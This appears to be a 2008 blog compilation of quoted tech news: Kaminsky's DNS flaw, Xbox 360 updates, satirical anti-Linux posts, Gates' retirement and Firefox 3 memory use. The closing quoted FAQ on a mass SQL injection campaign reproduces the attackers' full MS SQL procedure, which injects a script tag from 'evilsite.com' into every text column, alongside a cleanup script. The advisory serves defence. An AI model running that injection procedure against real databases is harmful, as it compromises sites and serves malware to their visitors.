So what does a hacker gain from attacking DNS servers?  According to Kaminsky, owning the .COM dns space would get you pretty much anything you wanted.  Everything from intercepting emails to taking over spam filters could be accomplished.  He even outlined grabbing passwords to webmail and other services by exploiting the “Forgot Your Password” feature used by many vendors.  But perhaps the biggest risk was to SSL security because certificate vendors could be duped into giving certs to bogus companies.

SSL certificate authorities issue the certificates by identifying the applicant through email.  The vendor looks up the domain’s address in WHOIS and then sends an email to the mail address contained in the record.  But if you were able to poison the DNS to redirect Microsoft’s DNS entry, then you could conceivably gain a Microsoft or another large company’s certificate.
Kaminsky found the bug approximately five months ago and initially worked solely with vendors to patch the bug because he feared any leak would invite malicious hackers into taking over the Internet.  “I spent the last few months terrified that companies would have their emails stolen because of a bug I found,” he told us. 
Kaminsky was lambasted by some security researchers because hackers, by their very nature, are quite the peer oriented group.  Those critics were eventually silenced after Kaminsky had a conference call with the doubters.
In a press conference after the talk, Kaminsky told reporters that vendors have been “fantastic” in responding and patching the bug.  Microsoft even hosted a summit on March 31st where Kaminsky and fellow researchers flew to Redmond Washington in a marathon session to hammer out a fix – something that took thousands of man hours and “thousands of pizzas”.
That patch, dubbed the “sledgehammer fix” by Kaminsky, randomized the transaction IDs and upped the range to more than a 100,000,000 possibilities.  Hopefully a competent IT administrator would notice hundreds of millions of malicious packets hitting their DNS servers, Kaminsky said.
On July 8th, most of the major vendors like Microsoft, Sun, Cisco and Red Hat had patched their servers and Kaminksy has stayed in constant contact with major web companies like MySpace, Craigslist and eBay, all in the hopes of educating IT administrators of the problem.  “I’ve been on the phone a lot, a whole lot,” he said, adding that he doesn’t want to look at his mobile phone bill for the last month.
But Kaminsky warns that the danger isn’t completely over and that the next bug may not come with as much warning and the hacker finding it may not be as considerate.  “They probably won’t be as friendly as me,” he said.
[/QUOTE]

Source: www.tgdaily.com

[QUOTE]
Electric Tuner over at the xbox-underground.net forums posted what seems to be the first picture of the Xbox360 'Opus' Motherboard.

The 'Opus' is a 'Falcon' generation motherboard designed to fit in a Xenon case. So that means a 90nm GPU, a 65nm CPU and no HDMI port. Microsoft will probably mostly use these boards to return to people suffering from the RRoD on Xenon boards. That seems to match the with the picture below ... it has no HDMI port and while we cannot see the CPU/GPU chips it uses the new CPU heatsink and has less inductors next to the CPU which indicates it uses the 65nm chip. Also notice how this Opus board has the HANA scaler/video chip (like the zephyr/falcon boards) ... so it's maybe not impossible to hack your own native HDMI port to these motherboards.

Picture News-Source: xbox-underground.net
[/QUOTE]

Source: www.xbox-scene.com

[QUOTE]
General Manager of XBox Live has spoken of even more new features he expects to come to the Xbox Live dashboard - including the ability to control your console over the internet, and ultimately a hardware-free future. He also confirmed that hard drive installs will work with all current and future Xbox games.

Speaking to OXM at E3, Marc Whitten said that the new update is "only the beginning" of the social networking features that Microsoft want to deploy.
He also said that we can expect future updates to include the ability to switch on your Xbox from any PC and download content to it remotely - "at some point in the future you'll hear more from us about that."

Asked if we'd ever be able to copy DVDs to the hard drive like the newly-added game install process, he said that was an "evil world" and he didn't fancy talking to the lawyers about making it happen.
[/QUOTE]

Source & full interview: OXM.co.uk

[QUOTE]
One of the not-so-cosmetic changes in the fall update will be the ability to let you play your games directly from the hard disk. The new feature will let users install all of the game content directly onto the hard drive to improve game load times. Microsoft reports that it has seen a 30 percent improvement in load times in internal testing. As an interesting data point, Microsoft went out of its way to tell a group of reporters that the full Devil May Cry 4 hard disk installation took roughly 10 minutes on the Xbox 360. The installation took twice as long when we conducted our own installation tests on the PlayStation 3. Another side benefit of having games installed on the hard disk is reduced noise, since the optical disc no longer needs to spin up. However, you will still need to have the game disc in your optical drive while you're playing it, presumably as a piracy check.
[/QUOTE]

Source: gamespot.com via xbox-scene.com

[QUOTE]

We don't have too many cameras out there in space past the moon, which is why most of our space shots are either looking outward, such as the shots taken by Hubble, or taken of Earth from the moon or closer. Which is why this video is so astounding. It's a video of the moon passing directly in front of the Earth, taken by NASA's EPOXI spacecraft from a whopping 31 million miles away.

The quality isn't the best, but it doesn't need to be; it's still absolutely breathtaking. This is an alien's-eye view, my friends, seen for the very first time. Amazing.
[/QUOTE]

Source: Bad Astronomy via Neatorama

[QUOTE]
Nice! I just found this site off of reddit: Why Linux is Better.com. Fortunately for me, it reads like a talking point manual for your local neighborhood Linux zealot. I thought we might have a bit of fun with this one.

• Forget about viruses. I think we went over that already.
• Is your system unstable? Who knew. When a system doesn't do anything, it doesn't crash. Oops, there goes NFS. Locked desktop. Oops I changed my IP address. Locked desktop.
• Linux protects your computer. What does that even mean? It sounds the same as the first one.
• Don't pay $300 for your operating system... but spend 10 weekends setting it up.
• Freedom! Yes, free yourselves form the shackles of sanity.
• When the system has installed, why would you still need to install stuff? Because the person that creates my OS can't possibly package everything? Duh?
• Update all your software with a single click... as long as you only want the selection and the versions that your distro provides. Don't you dare visit upstream websites.
• Why copy software illegally if you can get it for free? Why spend hours making free software barely work when you can pay $50 and get on with your life?
• Need new software? Don't bother search the web, Linux gets it for you... only if your distro has packaged it. Need software that's actually useful? Don't bother searching the web. It's not there. If it's even remotely useful, then your distro has probably already included it in a sad attempt to match the functionality of other platforms. Need legal dvd playback? playback of DRM'ed files? FAIL.
• Does your digital life seem fragmented? No? Does anyone care? Is it so hard to click three buttons to defragment?
• Choose what your desktop looks like... to make yourself feel better about it not being able to do anything. At least its pretty. At least your mom's pretty.
• Why does your Windows get slower day after day? Because you install a shit-ton of crap on it? If the same large selection of software could run on Linux, lusers would be having all the same problems.
• Do something for the environment. Seriously? how about making serious power saving work for desktops. Who cares about paper boxes. Tons of software on other platforms are distributed electronically. It's not like distributing linux ISO's saves any CD's either.
• Enjoy free and unlimited support. By that you mean unlimited quantity, but of rather limited quality.
• Use MSN, AIM, ICQ, Jabber, with a single program. Yea, cuz you can't do that on Windows or Mac.
• Too many windows? Use workspaces. Yes. Spaces. Or Virtuawin.
• Don't wait years for bugs to be solved, report and track them down... then wait years for them to actually get fixed.
• Are you tired of restarting your computer all the time? Why yes actually. Ubuntu seems to want to restart when there's a kernel or X update, which seems like every few days.
• Let your old computer have a second life...by using a Windows 2000-era operating system. Turns out Win2000 runs pretty damn well on that computer too.
• Play hundreds of games for free. The world doesn't need more than freecell and spider solitaire (and maybe pinball). Just imagine the decline in office productivity if there were more games.
• Help other countries, and your own. Yes, teach your citizens to program on OS'es which nobody runs, so that when they can locally develop software, there'll be nobody around to buy it. Surely, the rich countries with the cushy jobs are all looking for XO and KOffice experts.
• Get a great music player. Your example is amarok? Wasn't that whole gnome 3.0 tabs thing making fun of amarok? oh it wasn't? my bad... I was so certain that it was.
• Keep an eye on the weather. Because only Linux can display two digits with an optional C or F in a blurry font, and an icon of a sun.

Sorry, that was too easy. This site spreading all these lies can have Google ads but not mine? not cool.
[/QUOTE]

Source: linuxhaters.blogspot.com

[QUOTE]
Ok, here's a new column for you guys. Y'all have been getting better at sending me links to posts and articles of freetards and lusers making asses of themselves. So I'll collect them and list them, and we can all have a laugh.

• 9 File Managers for Linux. Cuz like, 10 is waaay too many.
• FSF's 5 reasons to avoid the iphone 3g. Or rather, 5 reasons why you guys are still off your rockers.
• Sweet! Wireless status LED's on Thinkpad X61's work now. You just have to recompile your kernel.
• Soft core porn that was syndicated on Fedora Planet. That's one classy programmer. And people wonder why there are few luserettes.
• Linux edges one step closer to world domination. (about the OpenMoko). Choice quote:

  What makes Linux far superior to Microsoft's mobile software is that you can have different permutations of Linux smartphones. Historically -- and presently, for many of us -- smartphones are mostly pretty limited in scope. The software on them is abysmal; I can't even SSH into mine.

[/QUOTE]

Source: linuxhaters.blogspot.com

[QUOTE]
One of the questions we've been hearing here at E3 is how existing themes you've bought from Xbox LIVE Marketplace will work with the new Xbox experience. The design team sent over this mock up to give you an idea of how it's going to work.

We've also been asked about the Game Detail Pages. Here are mock ups for a couple of them.

[/QUOTE]

Update:
In case you missed it on Inside Xbox, Marc Whitten gave an overview of the New Xbox Experience, including a peek at the Guide design. You will be able to access every part of what exists in the "blades" today, by calling up the Guide. A quick way to get to something specific, all without leaving the game you're in. Nice.

Source: gamerscoreblog.com via www.xbox-scene.com

[QUOTE]
Microsoft is giving consumers more gigabytes for their buck. The company today announced an Xbox 360® console with triple the storage space of the original console, but for the same price of $349 (U.S.) estimated retail price.

Available in retail stores in the U.S. and Canada starting in early August, the upgraded Xbox 360 will include a 60GB hard drive for storing the growing wealth of digital entertainment available for the console, including music, movies, television shows, and game content. In addition, Microsoft today dropped the price of its 20GB Xbox 360 console in the U.S. and Canada to just $299 (U.S.) (ERP) while supplies last, a savings of $50.

"We know consumers need more and more space to store the amazing digital content Xbox 360 offers, and we're giving it to them at no extra charge," said Albert Penello, Xbox director of product management at Microsoft. "No one device offers the depth and breadth of entertainment that Xbox 360 can deliver, and now you'll have three times the storage to manage all that great content."
Xbox 360 is just one of three Xbox 360 gaming and entertainment systems Microsoft offers. Microsoft's Xbox 360 Arcade, which comes with a 256MB memory unit and five Xbox LIVE Arcade games, is a value for the whole family for $279 (U.S.) (ERP), and the premium Xbox 360 Elite console is available with a 120GB hard drive for $449 (U.S.) (ERP).

Out of the box, the Xbox 360 console is ready to provide an incredible gaming and entertainment experience:

• Xbox 360 console: The console is equipped with a cool white finish and three powerful core processors capable of producing the best in high definition (HD) entertainment (up to 1080p for gaming), 16:9 cinematic aspect ratio, anti-aliasing for smooth textures, full surround sound, and high-definition multimedia interface (HDMI) output.
• 60GB Hard Drive: The 60GB detachable hard drive allows you to save your games and store television shows, movies, music, pictures, trailers, levels, demos, and other content available from Xbox LIVE Marketplace, the premier one-stop digital download center for entertainment.
• Upscaling DVD Player: With an HDMI cable (sold separately), watch your favorite DVDs in near high-definition using the upscaling capabilities of Xbox 360.
• Xbox 360 Wireless Controller: This award-winning, high-performance wireless controller features the Xbox Guide Button for quick, in-game access to friends and music. It has a range of up to 30 feet and a battery life of up to 30 hours on two AA batteries.
• Xbox 360 Headset: The headset lets friends and family around the world chat while playing games, watching movies, or sending voice messages on Xbox LIVE.
• Xbox LIVE Silver Membership: For no additional cost, Xbox 360 owners can chat with friends online, collect Achievements to improve their Gamerscores, send and receive voice and text messages, and access Xbox LIVE Marketplace content such as game demos, and purchase or rent HD movies and TV shows, as well as the best in downloadable games from Xbox LIVE Arcade. (Broadband Internet access required.)
• One-month subscription to Xbox LIVE Gold: An Xbox LIVE Gold Membership provides a complete online entertainment experience. Those who subscribe to this premium service can engage in competitive online multiplayer matches, tailor their matchmaking via feedback and accomplishments, and chat with an entire group of friends at a time.

[/QUOTE]

[QUOTE]
I just got off the phone with Adam Sessler over at G4 (check here to see if G4 is available in your area.) who filled me in on G4’s plans for E3 next week. If you’re not headed to LA but you still want to get in on all the gaming action, don’t worry…it sounds like they have you covered.  They’ve posted a schedule of coverage on their site, and the great news is that they’ll be carrying the complete Microsoft Press Briefing on Monday (They’ll also be carrying the Sony and Nintendo events as well) without commercial interruptions. I guess the learned their lesson from last year. According to that schedule, it looks like they’ll have a stream available on G4tv.com as well. So set your DVR’s and get ready for some gaming news.

P.S. I’ll also be recording our show and live blogging it from backstage, but more on that later this week.
[/QUOTE]

Source: http://majornelson.com

[QUOTE]
Newb guide #4. Suck it.

• Pick versions of the kernel, glibc, gcc, that are different from all other distros. So that you too, can "Think Different," or at least claim that you have the newest kernel among all distros for the next 2 weeks.
• Pick a color. Make your distro's default desktop look that color. Beware that blue, green, red, and brown are taken. This is your distro's branding you see? Having a consistent color increases usability, even more so than having usable apps.
• Make sure your distro's name has at least two intuitive pronunciations, so that you as the maintainer can be a dick and correct everyone who says it wrong.
• Take tons of screenshots showing that you can run all the same damn apps as every other distro.
• Don't mention any detailed information about what kind of hardware your distro is known or not known to work on.
• Say that it's "community tested," but mean that you personally haven't tested it all.
• Have a snazzy website with a bunch of gradients. Preferably blending from your color of choice (see above) to white. Copy Apple websites as much as possible.
• Use a different package format from all other distros
• Failing that, use a similar package format, but make sure all your packages are incompatible
• Definitely be sure to have your own package updating mechanism. I mean, if you can't even write that code yourself, how are we to trust you?
• Make sure you have a freetard version. Undo all the useful integration work you did with proprietary binaries that people want to use.
• Release new, barely tested bits every 6 months and claim that it is a sign of progress.
• Make sure you're LSB compliant. Also make sure that that means absolutely nothing.
• Never admit that your distro could be achieved by just reconfiguring another distro.
• Do one thing right that every other distro gets wrong. Make sure that the solution you come up with only works in your distro.
• Have a forum where users of your distro can complain to each other. Make sure this forum allows users to have signatures that tell me about all the hardware they've wasted by running your distro.
• Have a brainstorm site where users can point out the most obvious problems and make you look like an idiot.
• Have a bugzilla, but don't ever fix any of the bugs. Blame them all on upstream, then don't tell upstream about the problems.
• Make sure every upstream package has at least two patches. This differentiates your product, see?
• Have a newsletter. Make sure this newsletter has a column to introduce random users of your distro who are total nerds and haven't made a cent from all the work they put into their configuration.
• Write tons of documentation on complicated procedures to make things work, instead of making things work.

[/QUOTE]

Source: http://linuxhaters.blogspot.com/

Here is a small clip of a Warhammer 40k Necron warrior attacking my cat:

It's nonsense but funny ... :) ... Background: My workplace and the Warhammer 40k Necron army I'm working on.

[QUOTE]
In the 1970s, no one could have foreseen that a small start-up created by Bill Gates and a team of fellow computer nerds in New Mexico would become the Washington state-based tech behemoth it has become today.

Microsoft chairman Bill Gates, right, watches as musician Slash plays a Gibson Les Paul electric
guitar during the opening keynote address at the 2008 International Consumer Electronics Show
More Photos

Microsoft -- for better or worse, depending on your perspective -- set the standard for operating systems in PCs with Windows, bequeathed gamers with the Xbox 360 and the shoot-'em-up trilogy Halo and, in the opinion of some analysts, brought desktop computing to the larger world.

As the company prepares for Gates' departure this Friday, a host of analysts and tech experts waxed practical and philosophical about the future of Microsoft and the legacy of the man behind the curtain.

"I think Bill Gates leaving is on the same level as Steve Jobs leaving [Apple]. He is Microsoft," said Mary Jo Foley, author of the book "Microsoft 2.0: How Microsoft Plans to Stay Relevant in the Post-Gates Era." "He has been the face of Microsoft for 33 years."

Since its start in 1975, Gates has run Microsoft, building it from the ground up and contributing everything from software development to business acumen. Microsoft went public in 1986, with Gates as the CEO and chairman. In 2000, Gates stepped back as CEO, allowing Steve Ballmer to step into that roll. In 2006, the company announced that Gates would transition out of his day-to-day responsibilities as chairman and work more closely with the charitable foundation he started with his wife, Melinda, eight years ago.

With Balmer at the helm and Ray Ozzie as the company's chief software architect, many believe that Microsoft will handle the transition seamlessly.

"Microsoft has had the good fortune of having been run by a founder for a very long time. I don't think they're going to miss Bill," said Silicon Valley-based technology forecaster Paul Saffo. "The big cheese [Ballmer] in charge of the company has been with Bill and Microsoft since the beginning."

Michael Gartenberg, an analyst at Jupiter Research, agreed.

"Microsoft is less dependent over the years on Bill's persona than it was in previous years. Seeds were set since Ballmer took over as CEO. … Microsoft will continue without him, and I think that's ultimately what he was aiming for," Gartenberg said. "This is Bill's company. Bill built and redefined an entire industry. He was challenged by a number of competitors throughout the years and successfully fought off all the challengers, even when naysayers predicted Microsoft's loss of relevance."

Despite any criticism about Vista or the company's strategies, the Microsoft founder is still something of a rock star among computer programmers — one of their own who made it big, became a millionaire and got the girl.

"Gates is to the IT industry what Henry Ford was to the auto industry," said Nik Cubrilovic, co-editor of Silicon Valley blog Tech Crunch and a longtime software developer. "No single person has even come close to reaching the level of influence that he has achieved. Even if you look at the next generation of companies — even Google will never achieve the level of influence that Gates has because he was there at the beginning of the PC industry."

That influence, according to Dan Evans, a senior editor at PC Mag, is an operating system standard that made it easier for developers to bring programs to the masses.

"What he's leaving in his wake is more of a unified software industry. It used to be before Microsoft, there were different OS's. It was hard to write a software that would be on all these different [platforms]," Evans said. "This evolved from Basic to DOS from Windows to dot.net to cloud computing, but it all started with a software industry with a platform that anyone can write to."

But, like many others, Evans thinks that Gates' next move — the management of the Bill & Melinda Gates Foundation, which has a $37.3 billion endowment — could outweigh any of his achievements in the tech world.
[/QUOTE]

Source: http://abcnews.go.com/

For those who missed Steve Jobs WWDC keynote, here's a nice 60-second summarized version that basically shows everything you need to know about the iPhone 3G. 

[QUOTE]
When Microsoft Corp. announced a mammoth global recall of its Xbox 360 a year ago, the software giant never disclosed the exact source of the game console's heat problem that led to the fiasco.

Now, in an unlikely venue at Design Automation Conference here, Bryan Lewis, research vice president and chief analyst at Gartner, disclosed that the problem started in a graphic chip. Lewis offered this offhand revelation while discussing the changing ASIC and ASSP landscape for his DAC audience.

The Xbox 360 recall a year ago happened because "Microsoft wanted to avoid an ASIC vendor," said Lewis. Microsoft designed the graphic chip on its own, cut a traditional ASIC vendor out of the process and went straight to Taiwan Semiconductor Manufacturing Co. Ltd., he explained.

But in the end, by going cheap--hoping to save tens of millions of dollars in ASIC design costs, Microsoft ended up paying more than $1 billion for its Xbox 360 recall.

To fix the problem, Microsoft went back to an unnamed ASIC vendor based in the United States and redesigned the chip, Lewis added. (Based on a previous report, the ASIC vendor is most likely the former ATI Technologies, now part of AMD.)

Asked the moral of the story, Lewis said: "Had Microsoft left the graphics processor design to an ASIC vendor in the first place, would they have been able to avoid this problem?

"Probably. The ASIC vendor could have been able to design a graphics processor that dissipates much less power."

During Microsoft's conference call with analysts in July 2007, Robbie Bach, head of Microsoft's Entertainment and Devices division, withheld details of the Xbox 360 problem, other than calling it a "design issue." When pressed by an analyst if it was caused by Xbox production or assembly, Microsoft's Bach said at that time, "No."

He added: "Our partners are doing good work." Rather, "the challenge" was created by "Microsoft-initiated design,"Bach said.

Although some system companies have been experimenting with direct links to foundries by cutting out the ASIC design houses, the death of ASICs may have been greatly exaggerated. More accurately, "many ASSP companies are designing ASICs for high volume customers," Gartner's Lewis said. The "ASIC market is far from dead, but it trails the ASSP market," he said.

Lewis cited Nokia, the world's largest handset vendor, which has stopped designing its own ASICs. It recently opened up its IC sourcing to various chip vendors beyond usual suspects such as Texas Instruments and STMicroelectronics.

"System OEMs have no business designing ASICs any longer," said Lewis. The reality is that system companies are finding it hard to do enough ASIC designs to keep in-house design teams employed.

When it was pointed out that Microsoft still has its own semiconductor technology group that is still designing various chips, Lewis responded, "How many ASICs per year does Microsoft design? Not many" compared to experienced ASIC/ASSIP vendors.

Microsoft did not respond to requests to comment on this story.
[/QUOTE]

Source: http://www.eetimes.com/

[QUOTE]
One of the biggest “improvements” that Mozilla claims has made its way into Firefox 3 is improved memory usage, in particular, the vanquishing of memory leaks:

"Memory usage: Several new technologies work together to reduce the amount of memory used by Firefox 3 over a web browsing session. Memory cycles are broken and collected by an automated cycle collector, a new memory allocator reduces fragmentation, hundreds of leaks have been fixed, and caching strategies have been tuned."

We’re sorry to have to break it to you, but if you thought it was too good to be true you were right. Firefox still uses a lot of memory – way too much memory for a web browser.

We haven’t seen it reach 1GiB+ like we have with previous versions, but it’s quite normal for Firefox 3 to be sucking up ~300MiB of memory right off the bat, without a memory leak (the difference between memory leaks and normal memory abusage is that in a memory leak you’ll see the memory usage keep increasing the longer the browser is open/in-use).

This is a screenshot of Firefox’s memory usage after just a half hour or so with only a couple of HTML-only tabs open. This particular screenshot was taken on Linux where Firefox is using the shared GTK libraries – on our Windows PCs, it’s normal to find Firefox 3 taking up ~350MiB or so on both XP and Vista.

The sad thing is that isn’t caused by one of the memory leaks that plagued previous versions of Firefox. It’s Firefox 3 is supposed to take up that much memory – at least, that’s our assumption given how we’ve never seen it take up less.

Firefox 3 has a number of memory-hogging features added to the mix that are probably at least partially responsible for the absolutely gargantuan memory footprint. For example, Firefox now uses an SQL engine to keep track of your history and bookmarks, amongst other things. While that particular feature is powered by SQL-lite, which should – in theory – not take up too much memory, we’re at a loss to explain what else is wasting memory left, right, and center in the world’s most-popular open source web browser.

Things like full-text on-the-fly searching of the web cache for when you type text in the address bar certainly have an impact as well – that’s a lot of stuff to keep in memory at one time. But Opera 9.5 does the same with a lot less memory, so obviously Firefox 3 is doing something wrong.

It’s a shame that Firefox 3 is on the verge of a release and is so terribly unfit to run on any machine – Windows, Linux, or OS X – with less than at least a couple of gigabytes of memory.
[/QUOTE]

Source: http://neosmart.net/

>> From an interview with Robbie Bach, president of Microsoft's entertainment and devices division, on sfgate.com:
[QUOTE]

• Q: It sounds like you are also seeing advertising opportunities with the Xbox. How do you do that without alienating or aggravating your users?
• A: Whether it's a phone or the Xbox or the PC, the ideal goal is to make the ad relevant in a part of the experience, as opposed to something that intrudes on the space. In the game space, one of the things we have found is making ads part of the game. If you're in the car racing game and you're driving around the city, product placement works. There are ads in a city. There are billboards in a city. We can place those and we can actually dynamically rotate ads to those locations.
  We've done some very successful campaigns with big, national brands like Nike, Doritos and Toyota that want to get their brand in front of a very desirable target audience. They want to do it in a way that's relevant. People are sponsoring game development contests. They are sponsoring tournaments. Toyota has done that. Toyota has actually launched products in our games where the car will appear in a game. People can race the car and it's a special car that you get for achieving a certain level in the game. There are really creative ways to get people exposure to these things.
• Q: In January, Warner Bros. announced that it was going to support Blu-ray, the high-definition DVD format. Since then, the rival HD DVD format has gone away. Microsoft supported HD DVD with an Xbox HD DVD attachment. What is your plan there?
• A: Our plan continues to focus on high-definition experiences. Xbox 360 has a great ability to deliver those through the Xbox Live (online download) service. It's a great way to get the high-definition concept because it's right there. There's no additional media. There is nothing you need to purchase.
  If you look at the Blu-ray player market, you haven't seen the acceleration everybody expected (since the demise of HD DVD). It's not as much about whether all the content is in a Blu-ray format or a HD DVD format. You have to look at how fundamentally compelling the difference is between a progressive scan DVD player and the picture that it can produce and what you get on a high-definition player. The reality is there is some difference, but most people look at it and say, "I am not going to pay extra for that."
• Q: So no plans for Blu-ray in the next generation Xbox?
• A: No. There is nothing to even talk about right now with regard to the next generation. That is so far out that there isn't anything to talk about.
• Q: Just the same, we are coming up on a few years now with the Xbox 360. Is there some point when you start to say that we need to start looking at its replacement?
• A: There is no real projection on that. The last generation for the Xbox was a little short because we entered the market a little bit later in the cycle. I suspect this time the cycle will be a little bit longer for us.
  In terms of our actual thinking about that, we started thinking about the next generation before we finished creating the last one. It's a continuous process. We're always thinking about new ideas and new things. We don't have anything specific to talk about. There are so many things going on in the current generation that will keep us more than occupied for the foreseeable future.

[/QUOTE]

Source: sfgate.com via xbox-scene.com

[QUTOE]
Today we released the final version of Windows Search 4.0 to Microsoft Download Center. Windows Search 4.0 updates search in Windows Vista, Windows XP, Windows Server 2003, Windows Server 2008 and Windows Home Server. This release comes after a public Windows Search 4.0 Preview, which was a success thanks to great community participation - with around 300,000 downloads.   Since the Preview was released, a number of quality improvements have been made to the product based on feedback provided by the community.

Download: Windows Search 4.0 for Windows Vista and Windows Server 2008 (x86)

Download: Windows Search 4.0 for Windows Vista and Windows Server 2008 (x64)

More download packages are available on http://support.microsoft.com/kb/940157.

So, what's new in this release?

First and foremost: we've introduced some performance and reliability improvements. Queries are faster, as is indexing - how much faster depends on your machine and your data. Improved reliability means that system failures won't get in the way of the indexer and all of your data will be scanned and available for searches.

We've also extended remote index discovery, also known as PC-to-PC searches, which allows data to be searched quickly and efficiently across machines running Windows Search 4.0. This means that Windows Vista-to-Windows XP or Windows Vista-to-Windows Server 2008 queries are now possible.

Additionally, Windows Search 4.0 offers manageability improvements that IT Pros should take note of.

For starters, we have extended Group Policy to control more aspects of search functionality and made this control more granular with per-user policies. You can use Group Policy Objects to control how desktop search accesses remote resources - such as Microsoft Exchange Server resources or file shares - to manage network utilization.

Speaking of accessing Microsoft Exchange Server - if your organization selects not to use Microsoft Office Outlook in cached mode, you can set a Group Policy to index Exchange in online mode.  Windows Search 4.0 will then index with minimal impact to the server. Our internal testing of this configuration shows significant decrease in the load on the server and the network as compared to Windows Desktop Search 3.01.

IT Pros can deploy a new link that will be added to the Instant Search UI of Windows Vista (or Windows Search UI on Windows XP) on client PCs and allow the query entered in the search box to access your company's search server, by opening the search UI of the server in your browser and executing the query in it. With this functionality, users get a single launch pad for all of their searches. For more information on how to add customized links into the instant Search UI, click here.

Based on a large amount of customer feedback, we have added support for indexing files encrypted with EFS. Users in an organization can now encrypt files and still be able to search their contents. When running on Windows Vista, they also can get an additional level of data protection by using BitLocker and storing their index on the protected drive.

Today, Windows Search 4.0 can be downloaded for installation (download links from Microsoft Download Center listed above). If you need Windows Search 4.0 deployed in a large organization, you can use System Center Configuration Manager (SCCM) or other infrastructure solutions.

In the future, we will make Windows Search 4.0 available on Windows Update as well. At that time you will be able to install Windows Search 4.0 off the update site directly or deploy it in your organization using WSUS.

Once Windows Search 4.0 becomes available on Windows Update various Windows users will experience the following:

• Windows XP users will see it as an "optional" update, which requires users to select the update for installation.
• Users running Windows Vista will see the update as "recommended." By default, recommended updates are installed automatically; however, users can prevent automatic installation of Windows Search 4.0. We will publicly post specific instructions prior to publishing Windows Search 4.0 on Windows Update.
• On Windows Server 2008, the update will be applicable only if the File Server Role is enabled.

More on the improvements in Windows Search 4.0 can be found here: http://support.microsoft.com/kb/940157.
[/QUOTE]

Source: http://windowsvistablog.com/

[QUOTE]

Bill Gates and Steve Ballmer got on stage at D6 with Walt and Kara to talk... Microsoft, of course. While the company is still being rather coy about Windows 7 -- some have blamed loose lips early on in Vista development for saddling the OS with too high of expectations and making things difficult for developers -- they were nice enough to show off what Ballmer called "the smallest snippet" of Windows 7. The big reveal was multi-touch support, which utilizes technology developed by the Surface team. The taskbar seems to have been reworked a bit, and the demo was running live on a Dell Latitude XT tablet. Apparently Microsoft is reworking the whole user interface with a multitouch experience in mind. Steve reiterated the "three years after Vista" mantra for availability. Not exactly earth-shattering, but we'll take what we can get at this point.

Video: Multi-Touch in Windows 7

[/QUOTE]

Source: http://www.engadget.com/

[QUOTE]
Reports about the massive infection of web sites by an automated tool, whose most recent prominent victims have been United Nations, UK Government and the U.S. Department of Homeland Security raised some recurring questions which are worth answering.

1. The attack is targeting Microsoft IIS web servers. Is there a Microsoft vulnerability?
2. What can I do if I’m the administrator of an infected site?
3. What should I do as an user to protect myself?
4. How can NoScript protect if the compromised sites are in my trusted whitelist?

“Exploits of a Mom” by xkcd

1. The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?

   Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
   That said, the attackers are targeting IIS web servers which run ASP for a reason.
   Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:
   
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
''<script src=http://evilsite.com/1.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;

   This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
   So, to recap:

   1. There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
   2. SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
   3. Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.

   In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.

2. What should I do if I’m the administrator of an infected site?

   First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
   In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
   If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:
   
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN
Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=reverse(right(reverse(['+@C+']),
patindex(''%tpircs<%'', reverse(['+@C+']))+7))
where ['+@C+'] like ''<script%</script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor;

   This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
   
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+
''<script src=http://evilsite.com/1.js></script>''')

   it locates and removes it with
   
exec('update ['+@T+'] set ['+@C+']=reverse(right(reverse(['+@C+']),
patindex(''%tpircs<%'', reverse(['+@C+']))+7))
where ['+@C+'] like ''<script%</script>''')

   Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.

3. What should I do as an user to protect myself?

   OK, this one is the easiest :)

4. How can NoScript protect if the compromised sites are in my trusted whitelist?

   Even if the compromised site is in your whitelist, allowed to run JavaScript, the malicious scripts are hosted on external servers controlled by the attackers (e.g. www.nihaorr1.com): therefore NoScript prevents them from being loaded and effectively defeats the attack.

[/QUOTE]

Source: http://hackademix.net/2008/04/26/mass-attack-faq/

[QUOTE]
